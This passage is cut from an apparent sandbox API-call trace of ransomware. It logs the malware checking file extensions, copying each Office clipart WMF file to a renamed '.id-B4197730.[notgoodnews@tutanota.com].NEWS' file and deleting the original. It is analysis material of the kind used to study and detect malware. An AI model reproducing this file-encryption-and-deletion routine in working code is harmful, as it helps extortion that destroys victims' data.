(lpString1=".bz2", lpString2=".WMF") returned -1 [0080.726] lstrlenW (lpString=".7z") returned 3 [0080.726] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.726] lstrlenW (lpString=".dbf") returned 4 [0080.726] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.726] lstrlenW (lpString=".1cd") returned 4 [0080.726] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0080.726] lstrlenW (lpString=".jpg") returned 4 [0080.726] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.726] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.726] lstrlenW (lpString="BL00985_.WMF") returned 12 [0080.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.727] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3768) returned 1 [0080.727] CloseHandle (hObject=0x33c) returned 1 [0080.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0080.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0080.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0080.727] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.727] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0080.727] GetLastError () returned 0x0 [0080.727] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xeb8, lpOverlapped=0x0) returned 1 [0080.729] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec0, lpOverlapped=0x0) returned 1 [0080.730] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0080.730] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0080.730] SetEndOfFile (hFile=0x390) returned 1 [0080.730] CloseHandle (hObject=0x390) returned 1 [0080.731] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0080.731] SetEndOfFile (hFile=0x33c) returned 1 [0080.732] CloseHandle (hObject=0x33c) returned 1 [0080.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0080.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0080.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.732] lstrlenW (lpString=".doc") returned 4 [0080.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString=".docx") returned 5 [0080.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.733] lstrlenW (lpString=".pdf") returned 4 [0080.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString=".xls") returned 4 [0080.733] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.733] lstrlenW (lpString=".xlsx") returned 5 [0080.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.733] lstrlenW (lpString=".ppt") returned 4 [0080.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.733] lstrlenW (lpString=".zip") returned 4 [0080.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.733] lstrlenW (lpString=".rar") returned 4 [0080.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString=".bz2") returned 4 [0080.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString=".7z") returned 3 [0080.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.733] lstrlenW (lpString=".dbf") returned 4 [0080.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.733] lstrlenW (lpString=".1cd") returned 4 [0080.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.733] lstrlenW (lpString=".jpg") returned 4 [0080.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.733] lstrlenW (lpString=".doc") returned 4 [0080.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0080.733] lstrlenW (lpString=".docx") returned 5 [0080.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0080.734] lstrlenW (lpString=".pdf") returned 4 [0080.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0080.734] lstrlenW (lpString=".xls") returned 4 [0080.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0080.734] lstrlenW (lpString=".xlsx") returned 5 [0080.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0080.734] lstrlenW (lpString=".ppt") returned 4 [0080.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0080.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.734] lstrlenW (lpString=".zip") returned 4 [0080.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0080.734] lstrlenW (lpString=".rar") returned 4 [0080.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0080.734] lstrlenW (lpString=".bz2") returned 4 [0080.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0080.734] lstrlenW (lpString=".7z") returned 3 [0080.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0080.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.734] lstrlenW (lpString=".dbf") returned 4 [0080.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0080.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.734] lstrlenW (lpString=".1cd") returned 4 [0080.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0080.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0080.734] lstrlenW (lpString=".jpg") returned 4 [0080.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0080.734] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0080.734] lstrlenW (lpString="BOAT.WMF") returned 8 [0080.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.216] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3350) returned 1 [0081.216] CloseHandle (hObject=0x33c) returned 1 [0081.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 0x220 [0081.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.216] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.216] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0081.217] GetLastError () returned 0x0 [0081.217] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xd16, lpOverlapped=0x0) returned 1 [0081.219] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xd20, lpOverlapped=0x0) returned 1 [0081.220] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.220] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1 [0081.220] SetEndOfFile (hFile=0x330) returned 1 [0081.220] CloseHandle (hObject=0x330) returned 1 [0081.221] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.221] SetEndOfFile (hFile=0x33c) returned 1 [0081.222] CloseHandle (hObject=0x33c) returned 1 [0081.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boat.wmf")) returned 1 [0081.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.222] lstrlenW (lpString=".doc") returned 4 [0081.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.222] lstrlenW (lpString=".docx") returned 5 [0081.222] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0081.222] lstrlenW (lpString=".pdf") returned 4 [0081.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.223] lstrlenW (lpString=".xls") returned 4 [0081.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.223] lstrlenW (lpString=".xlsx") returned 5 [0081.223] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0081.223] lstrlenW (lpString=".ppt") returned 4 [0081.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.223] lstrlenW (lpString=".zip") returned 4 [0081.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.223] lstrlenW (lpString=".rar") returned 4 [0081.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.223] lstrlenW (lpString=".bz2") returned 4 [0081.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.223] lstrlenW (lpString=".7z") returned 3 [0081.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.223] lstrlenW (lpString=".dbf") returned 4 [0081.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.223] lstrlenW (lpString=".1cd") returned 4 [0081.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.223] lstrlenW (lpString=".jpg") returned 4 [0081.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.223] lstrlenW (lpString=".doc") returned 4 [0081.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.223] lstrlenW (lpString=".docx") returned 5 [0081.223] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0081.223] lstrlenW (lpString=".pdf") returned 4 [0081.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.224] lstrlenW (lpString=".xls") returned 4 [0081.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.224] lstrlenW (lpString=".xlsx") returned 5 [0081.224] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0081.224] lstrlenW (lpString=".ppt") returned 4 [0081.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.224] lstrlenW (lpString=".zip") returned 4 [0081.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.224] lstrlenW (lpString=".rar") returned 4 [0081.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.224] lstrlenW (lpString=".bz2") returned 4 [0081.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.224] lstrlenW (lpString=".7z") returned 3 [0081.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.224] lstrlenW (lpString=".dbf") returned 4 [0081.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.224] lstrlenW (lpString=".1cd") returned 4 [0081.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOAT.WMF") returned 64 [0081.224] lstrlenW (lpString=".jpg") returned 4 [0081.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.224] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0081.224] lstrlenW (lpString="BS00078_.WMF") returned 12 [0081.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.225] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1444) returned 1 [0081.225] CloseHandle (hObject=0x33c) returned 1 [0081.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0081.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0081.225] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.226] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0081.226] GetLastError () returned 0x0 [0081.226] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x5a4, lpOverlapped=0x0) returned 1 [0081.227] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0081.228] ReadFile (in: hFile=0x33c, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0081.228] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0081.228] SetEndOfFile (hFile=0x330) returned 1 [0081.229] CloseHandle (hObject=0x330) returned 1 [0081.230] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0081.230] SetEndOfFile (hFile=0x33c) returned 1 [0081.230] CloseHandle (hObject=0x33c) returned 1 [0081.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0081.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0081.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.231] lstrlenW (lpString=".doc") returned 4 [0081.231] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.231] lstrlenW (lpString=".docx") returned 5 [0081.231] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.231] lstrlenW (lpString=".pdf") returned 4 [0081.231] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.231] lstrlenW (lpString=".xls") returned 4 [0081.231] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.231] lstrlenW (lpString=".xlsx") returned 5 [0081.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.232] lstrlenW (lpString=".ppt") returned 4 [0081.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.232] lstrlenW (lpString=".zip") returned 4 [0081.232] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.232] lstrlenW (lpString=".rar") returned 4 [0081.232] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString=".bz2") returned 4 [0081.232] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString=".7z") returned 3 [0081.232] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.232] lstrlenW (lpString=".dbf") returned 4 [0081.232] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.232] lstrlenW (lpString=".1cd") returned 4 [0081.232] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.232] lstrlenW (lpString=".jpg") returned 4 [0081.232] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.232] lstrlenW (lpString=".doc") returned 4 [0081.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString=".docx") returned 5 [0081.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0081.232] lstrlenW (lpString=".pdf") returned 4 [0081.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString=".xls") returned 4 [0081.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0081.232] lstrlenW (lpString=".xlsx") returned 5 [0081.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0081.232] lstrlenW (lpString=".ppt") returned 4 [0081.232] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0081.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.233] lstrlenW (lpString=".zip") returned 4 [0081.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0081.233] lstrlenW (lpString=".rar") returned 4 [0081.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0081.233] lstrlenW (lpString=".bz2") returned 4 [0081.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0081.233] lstrlenW (lpString=".7z") returned 3 [0081.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0081.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0081.233] lstrlenW (lpString=".dbf") returned 4 [0081.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0081.233] lstrlenW 